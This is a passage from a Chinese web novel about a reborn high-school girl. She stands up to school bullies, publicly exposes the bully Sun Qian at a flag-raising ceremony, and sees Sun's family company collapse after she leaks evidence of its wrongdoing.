完了,她为了进一班把副三科的分都控高了一截。
但她分高的部分都是选择题,她应该……不会被怀疑控分吧?
“我听说这次分班考物理考得很有难度啊,怎么样,我看好的学生,有潜力吧。”
李源听见杨鑫这话,这才从面前的成绩里回过神来,语气还是一如既往的傲慢,不过态度倒是没先前那么恶劣了。
“确实进步不少。”
“不过你现在这不会是在打感情牌吧?分班考把这个月月考冲掉了,月考赌约延期到了下个月。”
李源一脸怀疑地盯着杨鑫,不可思议开了口:“老杨,你该不会是想让我辅导她给她物理开小灶?”
杨鑫嘿嘿一笑:“这学什么不是学,多科目均衡发展也是好的呀!”
李源伸手打的就是笑脸人:“我从不干给学生开小灶这种事情,学生能学到什么程度都靠她们自己自觉。”
“但你既然开了口,我这有一些巩固练习的卷子,拿去做做吧。”
说着,李源就将一套试卷递给凌杏薇。
凌杏薇低头一看,是基础练习巩固的试卷,赵欢之前给她买的练习册里甚至都有一模一样的题。
“我也给你找了几套数学试卷做做,进步空间还是很大的,不过既然能考进一班说明我没有看错你,你依旧有很大的潜力!”
凌杏薇低头扫了眼杨鑫递来的试卷。
不是奥数题,而是跟李源一样的基础巩固训练题。
杨鑫见她疑惑,解释了一句:“不能光挑战难题,基础也得巩固一下。”
凌杏薇只得无可奈何地收下这两套试卷离开。
她这是凭借控分技术一朝回到解放前啊……
黄昏的夕阳映衬着天边的云彩,云卷云舒的蓝天白云也因其染上几分橙红的绯色。
下课后的一班教室内。
宋棋百无聊赖地转着手里的笔,看向走廊上正悠闲地看着风景的凌杏薇。
“你说余瑶干嘛去了?怎么还没来。”
宋棋说着又恨铁不成钢地补充道:“干饭不积极,思想有问题啊!”
凌杏薇一副习以为常的表情:“余瑶她们班管得严格,可能是拖堂了吧。”
宋棋拖长尾音表情浮夸地说:“又拖堂?”
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旁边的顾舟眠停下手中的笔,合上书不紧不慢地说:“再等等吧。”
理科1班教室里除了她们三个都出去吃晚饭了,有一些就近去食堂吃饭速度又快的学生已经在往回朝教室里走了。
凌杏薇站在走廊上朝他们招手:“我们去教室找她吧。”
宋棋迫不及待地从座位上蹦起来,兴奋得就差嗷嗷叫了。
“Let''sgo!"
余瑶所在的文科二班在他们这层的尽头,可就当他们快走到教室门口时,道熟悉的身影却从旁边的楼道走上来。
来人没有看见他们,可凌杏薇他们却是实实在在看清了她是从楼下上来的。
“余瑶。”凌杏薇喊住她。
余瑶听到这道声音,身体不易察觉地僵了一下,但又很快恢复了常态。
余瑶转过身来,声音有些沙哑:“杏薇,我刚刚有点拉肚子,抱歉让你们久等了。”
厕所确实是在楼下,但余瑶目前的状态看着很不对劲。
圆框眼镜下是隔着厚重镜片依旧明显的乌青,面色苍白得如没有血色温度的白纸。
凌杏薇心底猛然升腾起一股浓烈的不安情绪。
“是不是身体不舒服啊?”就连一向神经大条的宋棋都发现了不对劲。
“一点小感冒,不耽误的。”余瑶嗓音闷闷的,跟她的心情一样,看起来闷闷不乐的。
女生对情绪的感知更加敏感,拉肚子,感冒还心情不好,身体哪哪都不好受。
凌杏薇上前扶着她:“不舒服的话你就待在教室休息休息吧,我们给你带饭回来。”
余瑶犹豫了一下,摇了摇头异常坚定:“我跟你们一块儿去。”
凌杏薇劝不住她,只能由着她来了。
这一回的晚饭比平日安静了不少,老板认得他们这些熟客,稀罕地看向今天异常安静的那一桌。
余瑶没跟宋棋插科打诨,凌杏薇也因为关注余瑶的情绪没有嬉笑打闹,顾舟眠一向寡言少语,自然也不是那其中活跃的一环。
教学楼后的天空暗了又亮,再一次变为了绚烂的霞光。
这一回,宋棋先去教室找余瑶,然后两两汇合去吃饭。
余瑶没有像昨天那样坚定要跟着他们一起去,而是拜托她们带饭。
余瑶面色依旧不太好,今天还出奇地戴上了口罩。
凌杏薇担心余瑶的情况,想去送饭却被宋棋截胡了。
晚上回家,宋棋也拦着不让凌杏薇去找余瑶。
“余瑶说她不舒服已经提前回去了。”凌杏薇是何其聪明的人,自然发现了不对劲。
“余瑶有事情瞒着我,是不是。”
话说的是疑问句,可凌杏薇的语气却极其笃定。
她要的不是一个回答,而是一个解释。
“宋棋,这很重要,回答我。”
宋棋原本嬉笑的神情褪去,取而代之的则是一副凝重的表情。
“余瑶最近跟学校的小混混来往密切,她不让我告诉你们,想要自己解决。”
“余瑶瞒着我们,你也要帮她瞒着我们?”
凌杏薇意识到自己语气不太好,缓了缓,继续说:“抱歉,我也是担心她,不是对你有意见。”
顾舟眠走上前:“事已至此,现在不是争论的时候。”
顾舟眠说着看向宋棋,安抚地拍了拍他的肩:“宋棋,你把你知道的都告诉我们吧。”
宋棋垂眸,眸中深重情绪难以掩饰。
他最终艰涩开口:“好……”
18. 霸凌重现,隐忍的真相 girls
凌杏薇等人抵达文科二班的时候,教室早已空无一人。
宋棋挠了挠后脑勺,看着眼前早已没了余瑶踪迹的教室,疑惑出声:“人呢?刚刚她还在这……”
凌杏薇脑海中有一个不妙的念头一闪而过,恐惧几乎是瞬间侵袭了她的内心。
“你知道那些小混混叫什么名字吗?”
她声线绷紧,强装镇定的外表下是掩藏不住在颤抖的手指。
“我不知道,只记得是一群女生。”宋棋也努力在回想着。
“余瑶看着也不像是会惹事的人,不知道余瑶是怎么跟她们认识的,我之前还出面赶走过她们一次呢!但后面余瑶就不让我插手这件事了,所以究竟发生了什么我也不太清楚……”
短暂的静寂之后,凌杏薇终于开口。
“那我们也回去吧。”
宋棋:“好,那我们就……嗯?回去?就这样回去了?!”
一直沉默的顾舟眠接了话:“那你现在有办法找到余瑶吗?”
凌杏薇听见他这句话,忽然想起来她前世被孙倩霸凌的地点。
“等等!除了教室……”
“还有厕所!”
三楼走廊尽头女生厕所。
宋棋停在距离厕所十多米的地方,表情略有几分尴尬:“那个……虽然我们不方便进去,但只要你往外吼一嗓子……其他的那些乱七八糟的不管了我们也一定冲进去帮你!”
顾舟眠没像宋棋这样说这么多,只是坚定颔首点头表示他肯定的态度。
凌杏薇向她们投去感激的目光,小心翼翼走到门外倾听里面的情况。
装水的器皿被推倒在地泼出水浪的声响传来,紧随其后的,是一道女生失声惊呼和慌乱摔倒的声音。
凌杏薇当即确认了里面就是孙倩那帮人,顾不上多窥探情况直接就冲了进去。
厕所的瓷砖地泼了一层半浊不清的脏水,踏进来时一不小心污渍便可能沾染到裤脚上。
一个水桶倒在地上,它边缘沾染着常年积垢的水渍,是令人触目心惊的污浊脏污,那是这一地狼籍的源头。
一道带着慌乱的声音响起:“杏薇,你怎么来了?”
凌杏薇循声看去,看见了发丝凌乱着装狼狈的余瑶。
而她怀里靠着一个神情怯懦畏缩的女孩子,情况看起来比余瑶更狼狈,此时窘迫交加,更不敢抬头与人对视。
正是她上次不经意间路过六班时用眼神警告孙倩偶然救下的那名女生。
一旁的孙倩扯了扯唇,冷笑道:“怎么,凌杏薇,当久了被欺凌的美人,现在也想试试逞英雄的滋味?”
余瑶扬声喊道:“你们别太过分了!”
孙倩看向余瑶的目光厉然森冷,像野原上虎视眈眈的野狼:“撑腰的来了人都硬气了不少啊!”
孙倩冷哼一声,面对凌杏薇时早已没有了先前的忌惮之色。
“凌杏薇,你别以为上回天台上是我真怕了你,你们终究是寡不敌众的!”
话音刚落,孙倩身后姿态桀骜的女生们纷纷挺直脊背,一副高高在上的模样。
一个个狗仗人势玩得比溜溜球还六。
凌杏薇深知擒贼先擒王的道理,根本不把孙倩后面那些仗势欺人的跟班当回事。
“接应我的人都在外面等着,孙倩,你要是想做什么,也要掂量掂量能不能受得起这后果。”
孙倩闻言,忽然朝余瑶笑了一下。
准确来说,是对着余瑶怀里的秦穗说的。
她说:“秦穗,过来。”
余瑶有些慌了,她手忙脚乱拉住怀里秦穗的手腕,低声劝说:“你别怕啊,这是我朋友,有人在外面接应……”
但还不等余瑶说完,秦穗猛地将手腕从余瑶手里抽了出来,余瑶剩下的话就这样不上不下卡在了喉间。
“对不起。”秦穗声音很轻,连抬头看余瑶一眼的勇气都没有。
余瑶眼睁睁看着秦穗离开了自己的怀抱,一步步走向孙倩。
凌杏薇不动声色跟孙倩对视上,但看着孙倩这双似笑非笑的眼眸,凌杏薇只觉得厌恶。
孙倩笑得格外猖狂:“你以为……只有你有退路吗?”
“无所谓。”凌杏薇只这样轻飘飘回应她。
凌杏薇无意与孙倩多做周旋,径直走向呆愣在原地的余瑶,牵起余瑶的手,带着她往外走。
“插手了我的事,你以为你今天走得了?!”孙倩高喝一声。
话音刚落,外面就扬声响起一道爽朗的声音,在这全是女生的女厕所外显得格外突兀。
“凌杏薇!需要帮忙请扣1!”
看着孙倩立马警惕起来的神色,凌杏薇笑了:“你以为我的后路是假的吗?”
但外面的人听不见她们正常说话的声音,紧随其后的,是一句在凌杏薇意料之外的话。
那道声音声线偏冷,却莫名带着令人信服的安心。
“不回复默认扣1。”
凌杏薇心头一暖,正巧对上余瑶抬头闪着泪花看向她的目光。
孙倩的跟班们缓慢将她们围起来,秦穗站在角落,瑟瑟发抖抱着双臂,期间偷偷趁孙倩不注意抬眼看向她们。
情势紧急,她们很有可能会被围殴。
可不到万不得已凌杏薇不想让顾舟眠和宋棋放下名声出面来救她们。
“不用!”
凌杏薇话音刚落,其中一名身材壮实的女生不知从哪拎出一根粗重的棍棒向她们靠近。
木制的长棍棒落在泼了脏水的瓷砖地面上,凌杏薇和余瑶的退路被堵死了,只能往反方向躲闪。
就在这时,厕所门口响起一道熟悉的女声。
“你们是哪个班的学生?”
将她们团团围住的女生全部停下脚步向门口投去目光。
路茴嗓音清甜,板着脸时格外反差,不乖巧懂事,却依旧是一副标准好学生的稳重模样。
“我已经请徐主任过来了,你们确定还要继续吗?”
大部分女生被路茴唬得噤声,只有一个胆大的跟班扬声叭叭道:“你特么的谁啊!敢管我倩姐的事!”
路茴现在看起来比先前跟凌杏薇扯淡说唐叙朝的事情时从容多了。
“我确实管不了,但总有人是能管的,比如马上就赶来的徐主任。”
“你们大可以不信,但只要我喊一声,在外面等我的同学就会冲进来,到时候你们可不一定说得清喔。”
路茴笑得甜,话却句句都是温柔刀。
孙倩盯着路茴看了好一会儿,又愤恨地回头瞪了一眼凌杏薇,带着一帮人气势汹汹地离开了。
但有一人留了下来。
凌杏薇看向角落紧张到扣手指的秦穗,抬脚往秦穗面前走。
却被突然横在她面前的余瑶拦住去路。
余瑶眼里难掩失望,但还是下意识想去护着秦穗。
跟凌杏薇解释的时候甚至有些语无伦次起来:“她没有,她不是,她也是受害者!”
“她,是跟我们一样的受害者。”
余瑶眼神坚毅,直勾勾盯着凌杏薇时,饱含期盼恳切。
凌杏薇问她:“孙倩告诉你的?”
“我猜到的。”余瑶放下伸展开来的双臂,看向秦穗的眼神莫名染了分怜惜。
越过挡在秦穗身前的余瑶,凌杏薇眸光微凝,看向秦穗的目光带了
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几分探究。
凌杏薇当然知道秦穗也是被孙倩霸凌的受害者之一。
但上次手稿被替换的事情在前,凌杏薇很难不怀疑秦穗已经被孙倩她们逼着干了不好的事情。
受害者替霸凌者行恶,也是一种助纣为虐。
这世上为自保选择变成霸凌者的受害者不在少数。
总有人无法成功守住善良的底线。
变坏太简单,只需纵身一跃便可轻易堕落。
这是无解的命题。
路茴没什么耐心在这久待:“既然事情已经解决,那我就先走了。”
“等一下!”凌杏薇追了出去。
厕所外面,猝不及防映入眼帘的却是一张看上去比路茴更没有耐心的脸。
见凌杏薇跟着出来,唐叙朝多停留了一会儿。
可他说出口的话却一如既往带着不耐烦:“我早就同你说过,要小心身边的人。”
“整天跟她们这些不学无术的小混混厮混在一起,于你毫无好处。”
唐叙朝的语气依旧透着对她的傲慢不屑,在唐叙朝的眼里,依旧只容得下路茴一个人。
凌杏薇忽地笑了,她想起来前世的事情,想起来从前她还没跟唐叙朝和路茴撕破脸皮的日子。
唐叙朝心情好的时候确实是愿意关心她的。
但唐叙朝并不想跟她多接触。
或许,仅仅只是因为不喜欢吧。
唐叙朝只喜欢路茴。
凌杏薇垂眸盯着地面看了两秒,再抬眼时又是一双不染爱恨情愫的眼眸。
她这句感谢格外由衷:“谢谢。”
凌杏薇不热忱不反驳反而引得唐叙朝不自在,他摆了摆手,带着路茴并肩走进拐角的楼梯间离开了。
在他们离开的下一秒,视野开阔,两道倚靠在走廊栏杆上的少年身影出现在她的视线中。
宋棋朝她挥舞着手臂:“嗨!怎么样啦?怎么没看见余瑶从里面出来?”
顾舟眠则是镇定安然站在宋棋旁边,唇角微微上扬,对她轻轻张口用唇语对她说着——恭喜。
这天的凌杏薇回家比平常晚了很多。
星期五放假,赵欢照旧给她准备了牛奶,但这回却没刻意去给她热牛奶。
凌杏薇摸着已经凉了有段时间的玻璃杯,又看向客厅里不停算账把计算机按得响的赵欢。
进门第一眼凌杏薇就看出赵欢心事重重了。
她走过去轻声问:“怎么啦妈妈?”
赵欢扯了扯唇,朝她微微一笑:“没事宝贝。”
已经月底,尽管心里早已有了答案,但凌杏薇还是忍不住问她。
“是不是爸爸这个月的赔偿款还没下来?”
赵欢强撑笑容,好半天才干巴巴自我安慰起来:“可能人家企业也困难呢。”
“而且,这应该算慰问资助金,算不得什么赔偿款……”
“这就是赔我们的钱!”凌杏薇重生以来这么久的情绪终于在这时找到了发泄口。
“爸爸给孙氏干活,却因为企业上面的缘故造成人员伤亡的工程事故,法院都判了,他们才是过错方!”
“凭什么我们家破人亡,她们不赔钱还幸福美满?”
“她们孙家凭什么这么欺负咱们?!”
孙家权势压人,明明可以一次性结清的赔偿款硬生生签合同变成了分期月付。
但孙家又经常不遵守合同,打款不是拖欠就是少打,她们家没钱根本打不起官司。
她前世为了妈妈每个月可以顺利收到爸爸的赔偿金,在孙倩面前忍辱负重这么久,可为什么母亲还是会这样卑微受欺负呢?
现在这又算什么呢?
19. 你说点到为止,他说我与你同罪^^……
“有钱……就可以视人命如草芥吗?”
赵欢看着此刻信念坍塌的凌杏薇满眼心疼,情不自禁喊了声:“薇薇……”
“搞垮她们,对,搞垮她们!”
“德不配位的人不配拥有这么多!”
“底层人家有多少家庭因为生活重担在夜间无人时泣不成声,她们靠榨取劳动者价值活得优渥生活的富贵人家就有多目无尊法仗势欺人!”
“我们有什么错,我们明明一直在很努力地生活,很努力地活着啊……”
说到这里,凌杏薇竟有些泣不成声。
赵欢不由分说上前抱住凌杏薇,手指一下一下轻拍在凌杏薇的肩膀上。
像一只成年母鸟在小心翼翼将刚刚遭受过风雨的雏形幼崽拢在怀里,试图安抚幼崽脆弱受伤的心灵。
许久后平息的情绪下仍然可以听出哭过的腔调,凌杏薇闷声道:“妈妈,我们太傻了,竟然会相信恶有恶报。”
赵欢轻拍安抚的手掌悬在半空中欲落未落,好一会儿才从不可置信中回过神来,柳眉轻蹙怅然说:“傻孩子……”
夜间的情绪宣泄成为繁忙生活中的小插曲,一切都随着第二天迟来但不符合数目的打款而短暂埋藏。
凌杏薇站在人群中,并未认真听升旗台上面的徐光明说起那老生常谈的话题。
孙倩气色不错,跟着她那些小姐妹躲在人群中偷偷谈笑风生的模样似乎已经将前两天遇到的事情忘掉了。
凌杏薇面无表情看着孙倩所在的位置,眼神带了分若有所思。
顾舟眠也在看着这个方向。
不过顾舟眠看的不是孙倩,而是凌杏薇。
他眸光温和,似暖阳微风,轻而不燥,在那一刻,温柔得仿佛能在黑暗中托起任何人歇斯底里的恶劣情绪。
顾舟眠并不着急,只是静静地等待凌杏薇转过头来,这才开口。
“真的想好了吗?”
哪怕此举有可能会两败俱伤。
凌杏薇知道他说的是早上来学校的路上她跟顾舟眠商量的事情。
“有得必有失,我也是在拯救很多像她一样的受害者。”
凌杏薇坚定地点下了头。
“她也会害怕,我不想她深陷泥潭的时候我只能袖手旁观。”
这个“她”,是余瑶,亦是凌杏薇。
前世的她没有朋友,被欺凌时抬眼只有黑暗和绝望。
她没有错。
她本就不该死。
可这一世不一样了,凌杏薇不再是孤身一人。
而余瑶是她的朋友,她的朋友自有她来护。
顾舟眠知道,哪怕他不同意,凌杏薇也依旧会这样做。
台上拿着话筒的人会一直变。
那么这个话语权她也可以从任何人手上抢。
但她不必抢,他愿意给。
他会引导她做正确的选择,但同时他也尊重凌杏薇的任何想法。
台上徐光明已经结束了他的发言。
“现在让我们掌声欢迎高二理科班优秀学生代表顾舟眠进行国旗下的讲话!”
在这盛大掌声中,顾舟眠顶着万千注视将他唯一的目光落在了凌杏薇身上。
他感受到周遭一切嘈杂消失殆尽,他的世界寂静无声,只安然回望着眼前眼神坚毅的少女。
担忧和关切融化了他眼底的冰山,只剩一片最后仍旧说不出口的柔情。
这一眼顾舟眠看得很深,带着凌杏薇看不懂的晦涩情绪。
但不等她多去深究,身旁的少年已然抬脚往台上走去。
少年意气风发,谦逊温和地接过话筒,站在台上侃侃而谈也丝毫不怯场。
他们之间好像隔着无尽的鸿沟。
好学生和坏学生就像是天上和地下,隔着跨不过的遥远距离。
“以上是我的全部演讲内容,不过在我的演讲结束之前,还有一个游戏环节。”
凌杏薇抬脚准备上台的脚步一顿,脚步加快,也顾不上队伍里其他人的反应了,一路飞奔往台上跑。
顾舟眠这话是什么意思?
她没有让他这样说!
她只是让顾舟眠演讲完不要把话筒递给徐光明。
她不是在跟他商量,就算他不答应,她也能从徐光明手里抢话筒来讲。
可他现在这样说,那她就会把顾舟眠牵扯进来。
她没有办法如提前预想好的那样说话筒是自己抢来的,以此将顾舟眠摘出去。
顾舟眠把话筒递到她面前,用仅两个人能听见的声音说:“别怕,凌杏薇。”
仿佛是看懂了凌杏薇眼里的各种疑惑惊愕和暗示,顾舟眠眸光温柔,语气温和却又掷地有声。
“我与你同罪。”
不涉及主观个人情感,这是一句客观陈述。
我与你。
我和你一起。
共同承担这罪名。
见凌杏薇拿着话筒面色犹豫,顾舟眠知道她是不想牵连自己,于是轻声安抚道:“你也会害怕,我不想你一个人独自面对风雨时,而我只能袖手旁观。”
凌杏薇愕然,握着话筒的手拼命攥紧。
她为余瑶说过的话,顾舟眠如今还给她了。
天下和地下又如何?
顾舟眠现在告诉她了。
天上地下,都是人间。
凌杏薇垂眸看了眼手里的话筒,心里下了决心,抬眼时眸中闪烁着一片永不被风雨磨灭的光彩。
台下原本昏昏欲睡的学生习惯了这样日复一日枯燥无趣的升旗仪式,一听有不一样的环节,全部都精神起来,纷纷往台上的凌杏薇投去视线。
“大家都知道,我们今日的演讲内容是社会上关爱老人的主题,但身在校园,社会上的议题对我们来说终究还是有些遥远,今天我们这个游戏,将会聚焦于校园霸凌的主题展开。”
一旁的徐光明眼瞅着不对劲,看向顾舟眠。
“这是什么环节?”
“这是科普知识的环节,首先,我将会随机下到不同的班级进行采访。”
顾舟眠还未开口,凌杏薇的声音就透过话筒准确无误地清晰出现在台下每个同学的耳朵里。
凌杏薇直奔着孙倩所在的班级而去,但走到一半,凌杏薇脚步慢了下来。
走到最后,甚至直接停了下来。
凌杏薇转过身来,折返了两步,将话筒递了上去。
“这位同学,请问你对于校园霸凌持有什么样的看法?”
秦穗一脸警惕地看着递到自己面前的话筒,又下意识瞥了眼孙倩所在的方向。
“抱歉,我没有什么看法。”
秦穗推开递到自己面前的话筒,扯了扯唇,朝着她无声说了一句话。
凌杏薇根据唇形判断出那四个字。
秦穗对她说,我支持你。
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再次递出话筒时,凌杏薇面对的是孙倩显然带了杀气的眼神。
但她恍若未见,面上带笑问:“高二文科5班孙倩同学,请问你对于校园霸凌有什么样的看法?”
孙倩咬牙切齿:“我不知道。”
“怎么会不知道呢?欺凌弱小,霸凌同学,聚众围殴,品行不端……这些都是校园霸凌。”
区区恐吓而已,给孙倩的教训显然是不够的。
可她不想牵连顾舟眠,这波只能点到为止,来日方长。
“霸凌者当然是不懂何为校园霸凌的。”
台上忽然响起一道沉稳的男声,这道声音透过备用话筒稳稳传进每个人耳朵里。
凌杏薇猛地回头,对上顾舟眠坚定朝着她点头的鼓励眼神。
而凌杏薇也不负众望,清晰的声音一字一句诉说着一个所有人眼里的惊天大瓜。
她执起话筒扬声道:“高二文科5班孙倩,欺凌弱小,霸凌同学,聚众围殴,品行不端,高二文科5班孙倩校园霸凌!”
惊天大瓜!
台下一片哗然,秩序出现了有史以来的第一次大乱。
看着眼前脸色煞白的孙倩,凌杏薇忽然笑了起来。
怕吗?
怕就对了。
哪有作恶多端者活得风生水起的道理。
孙倩六神无主,无数目光落在她身上,好像有很多人在对她指指点点,窃窃私语议论她,险些令她崩溃。
她当久了被高高在上捧着的跋扈大小姐,此时哪里能受得了这种落差,撒腿就跑离开人群。
徐光明岂容得她这样胡来,当即怒喝道:“住嘴!”
“快把话筒交出来!”
徐光明下了升旗台朝凌杏薇跑来。
凌杏薇好不容易有了这次在全校人面前揭露孙倩丑陋面目的机会,新仇旧恨交接,怎会轻易把话筒给他?
凌杏薇开始拿着话筒往人群边缘跑。
边跑还不忘边喊着。
“这是揭露黑暗的环节!同学们千万要引以为戒,不要作恶多端还抱有侥幸心理!”
阳光盛放时,少女笑颜未褪,身姿轻盈活跃在人影中,阳光洒在她发间,随着她跑动的脚步扬起又落下,大方坚韧又明艳招摇。
青春洋溢的少女,她比阳光明媚张扬。
徐光明身材肥壮,哪里比得过凌杏薇健步如飞又在人群中窜来窜去如鱼得水?
凌杏薇混在人群中,还得了几位性子跳脱男生出手捣乱拦了拦徐光明的助攻,距离拉得越来越远,徐光明根本追不上她。
凌杏薇转身已经绕着下面跑了一圈,此时又绕回到了台上来。
既然已经惹了大祸,她不介意乱上加乱,索性姿态招摇冲着下面慷慨陈词:“本次升旗仪式到此结束,校园暴力行为恶劣,欺凌同学更是德行有亏,望大家引以为戒,散会!”
下面顿时爆发出炸锅般的欢呼声,更有性子跳脱者也跟着扬声高喊道:“德行有亏,引以为戒!芜湖!散会咯!”
全场沸腾,所有人全部一窝蜂四散开来,只有凌杏薇和顾舟眠站在台上没动。
他们像是胜利者,俯瞰着台下因为他们而短暂重获新生、同病相怜的被困者。
在那群四散开来的人潮中,有几道身影在逆流而上跑向他们。
扑进凌杏薇怀里的余瑶。
还有来向他们下达死亡审判的徐光明。
20. 孙家倒台,自食恶果!
好半天凌杏薇才听见一道呜咽声闷闷地自身前传来:“杏薇……”
凌杏薇松懈下来,轻缓地拍着她的肩膀以示安慰:“没事了,有我在没人再敢欺负你。”
宋棋刚刚甩开班上一群八卦起哄的调皮男生们朝他们这边跑来,仗义地拍了拍胸脯,很不爽地肘击了一下顾舟眠。
但他语气里却没有多少对他们的不满:“不仗义啊哥们,这么大的事竟然不告诉兄弟我。”
还不等其他人回答他,徐光明就已经气急败坏地开了口。
“凌杏薇!蓄意扰乱升旗仪式,造成校园恐慌,下个星期交三千字检讨给我,并当着全校师生的面道歉认错!还有,等会让你家长来一趟!”
“顾舟眠,协助凌杏薇扰乱升旗仪式秩序,取消一个月国旗下讲话的资格!”
说着,转向宋棋和余瑶:“你们俩回去上课!”
最后又转头对着凌杏薇和顾舟眠厉声斥责道:“你们两个跟我来办公室!”
经历了大半节课唾沫星子攻击,徐光明这才肯放她们两个回去上课。
夜色渐浓,回家的路程伴着凌杏薇的心事重重而显得格外短暂,她们又到了分道扬镳的地方。
顾舟眠早就敏锐地发现了凌杏薇的情绪,终于问出这一路上都想问的话:“在为请家长的事情担心?”
凌杏薇再次无意识叹息的举动顿住了:“……唉?”
凌杏薇没想到顾舟眠这么聪明,竟然看穿自己的伪装,索性也没嘴硬,点了点头应了下来。
“有点……”
她眉眼耷拉下来。
“我就是不想我妈妈担心,她知道了肯定要多想担心我是不是在学校经常受欺负。”
凌杏薇说起来也有点不好意思:“妈妈白天忙着挣钱,被我叫家长去学校肯定很耽误她摊子上的活儿。”
“当时头脑发热想干就干了,没想到徐光明还让请家长呢。”
顾舟眠安慰她:“阿姨肯定不会责怪你的,你回去跟她好好说说,会没事的。”
凌杏薇似乎有被安慰到,心里积压的石子出现了松动。
顾舟眠看出她的犹豫,轻声说:“你是傻瓜吗?想做英雄但一人扛下所有事情是不可能的。”
凌杏薇一愣,心里莫名涌现怪异的情绪。
第一次有人说她是傻瓜。
拜托,她从前……也是学校的一个传奇。
顾舟眠的话还在继续:“但不可忽视的是你很勇敢,勇敢的女孩值得被嘉奖。”
“好!谢谢你,同样勇敢的男孩!”凌杏薇退后一步朝他深深鞠了一躬。
顾舟眠被她这举动搞得措手不及,正错愕地站在原地,就看见凌杏薇大步离开的背影和她甩下的一句话。
“我走啦!明天见喔!”
顾舟眠就这样眼睁睁看着凌杏薇消失在自己视线里,无可奈何地摇摇头,眼底是罕见出现的浅淡笑意。
推开家门时,赵欢如往常一样待在客厅里,这一回她没忙着准备明天出摊的早餐也没在看白天的账单。
她一如往昔朝门口喊着:“杏薇回来啦!”
“妈妈,您还没睡呢。”凌杏薇放下书包,无事献殷勤地跑到赵欢身边替她捏着肩膀。
“没呢,等会就睡啦!妈妈跟你说个好消息!”
好消息?请家长确定不是……坏消息吗?
心里这样想着,凌杏薇心中也有了些猜想。
见凌杏薇面上疑惑着,赵欢继续笑着说:“承包商公司出了事,当年工程出事的事情被爆出来查,迫于舆论压力你爸爸的工程赔款现在一次性发下来了,今天全部都到账了!”
“这是好事呀!妈妈你以后可以不用那么操劳,多休息休息,也可以晚点出摊……”
“你这孩子!”赵欢无奈又宠溺地白了凌杏薇一眼,“我们自己的日子还得过不是?总不能指着这点钱过活下半辈子吧。”
“还有你这丫头,自己说说今天干什么了吧!坦白从宽抗拒从严!”
凌杏薇闻言捂着脸往赵欢怀里钻,又想起来顾舟眠说过的话,又鼓起勇气退后义正言辞道:“我今天做了一件勇敢的事!”
事实果然如顾舟眠所说,赵欢没有过多苛责她,这件事情赵欢作为一个母亲担忧盖过了责怪,最后凌杏薇是在日常一杯的牛奶中被送进房间的。
有了昨天那个事情,孙倩肯定不会再去找余瑶麻烦,今天中午下课见面吃饭的时候余瑶看起来精神状态好了不少。
她冲着凌杏薇跑了过来,迎面就是一个大大的熊抱:“杏薇,孙倩转学了,听说今天上午就办了转学手续!”
凌杏薇浅浅一笑,仿佛一切都在她意料之中:“恶有恶报,自食恶果罢了。”
昨天晚上凌杏薇回房间后就拿出手机看了当日新闻,孙氏集团因为产品原料造假被大规模爆料彻查,导致股票暴跌,合作方撤资,产业链崩坏,一度濒临破产。
在这则新闻报道里,多年前因为工程出事拖欠的工人家属赔款的事情也紧接着被爆料出来。
凌杏薇前脚在升旗仪式上揭露孙倩校园霸凌,后脚孙倩就转学离开柠城,冥冥之中无疑是坐实了校园霸凌这件事。
舆论沸沸扬扬传开,随之而来的是凌杏薇逐渐响亮的名号。
俗话说得好,人红是非多,凌杏薇考进理科一班的事情也遭到了不少人的质疑。
凌杏薇高一时期被霸凌隐藏实力,考试成绩并不好,如今一夜之间逆袭考进了理科一班,很多人都不相信。
这不,关于凌杏薇真实成绩的质疑声越来越多,柠城一中即将迎来分班考试后的第一次月考。
同时,杨鑫和李源两位老师原本以娱乐较劲性质的小赌也被有心之人拿出来放大了说。
一时之间,关于凌杏薇成绩造假的质疑闹得沸沸扬扬。
不少人在柠城一中关于凌杏薇成绩质疑声热度最高的校园贴吧帖子里下注,赌的就是凌杏薇下一次考试定会原形毕露,跌出理科一班!
下课铃声响起,讲台上的任课老师刚走出教室,随之而来响起一道愤愤不平半咆哮半怒吼的声音:“太过分了!”
坐在宋棋身侧的顾舟眠闻言蹙了蹙眉,不理解他这突如其来的举动是为什么。
故而发问:“怎么了?”
宋棋将上课摸鱼的翻看校园贴吧的手机往他面前递:“你快看这个帖子!”
顾舟眠顺势望过去,手机屏幕上几行刺目的字眼赫然呈现在眼前,令他登时面色骤变。
他语气冰冷意味不明,话语间罕见生了几分怒气:“狭隘愚昧。”
过道身侧停下一道身影,凌杏薇清甜悦耳的嗓音传来:“怎么啦?你们看见什么了?”
顾舟眠垂眸,掩住眼底情绪:“没事……”
宋棋却是嘴比脑子快:“凌杏薇你来得正巧!”
“我跟你说……唔唔唔菇粥面你干甚麽……”
“没什么,就是看见了一些新闻。”顾舟眠语气很淡,淡到令宋棋震惊的地步。
顾舟眠此刻喜怒不形于色的模样跟刚刚那个气愤填膺的语气简直判若两人。
怕凌杏薇不清楚,还特地强调:“跟孙家有关那个。”
“哦,那个啊。”凌杏薇笑得灿烂。
“不做亏心事不怕鬼敲门,恶人自有天收。”
说到这里,凌杏薇面上笑容更甚。
天若不收,那她来收。
她凌杏薇怎么会打没有准备的仗呢?
在想要登台揭露校园霸凌的恶行前,她就已经做好了被孙倩报复的准备。
重生后,她经常因为被坠楼身亡的梦魇缠绕而半夜惊醒,血腥惨状历历在目,母亲惨死的消息被八卦歪曲流传,她怎能说忘就忘?
于是,她晚上学习,周末白天帮赵欢摆摊后就四处收集证据。
买通对孙氏集团不满已久的基层员工冒险拍下非法交易的现场。
凌杏薇苦心等待,就是为了这厚积薄发的这一刻。
她也在赌。
赌她仅靠一张嘴就说服员工冒险得罪孙氏。
赌孙氏没有一手遮天的能力靠背景让政府部门替他们的产品瑕疵瞒天过海。
赌答应她爆料的网红大V不会倒戈背刺。
赌合作方和投资方会不念情谊毫不犹豫取消合作撤资路跑。
赌人性,赌正义。
赌黑暗得见光明。
赌自己会赢。
很明显,她赢得彻底。
宋棋这才反应过来,等
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顾舟眠松开捂着他嘴巴的手,赶紧为自己的鲁莽找补:“对对对!恶人自有恶报!”
“好不好大家都有目共睹的!”
他莫名很燃,但很快有人解了他的一时尴尬。
“凌杏薇,有人找你!”
凌杏薇循声望去,门口站着一个扎着低马尾微微低着头不敢与她对视的女生。
正是秦穗。
凌杏薇走到门外,与秦穗面对面站着。
她不如余瑶那样对秦穗这个不太熟悉的人亲近热心,恰恰相反,她对秦穗有种说不上来的戒备。
或许,是因为自己上次演讲稿被替换的缘故。
凌杏薇没说话,秦穗主动开了口。
她从身后拿出两个盒子,将其中一个递到凌杏薇面前。
“这是我自己做的小饼干,谢谢你和余瑶帮我。”
凌杏薇看着那盒饼干,没伸手去接。
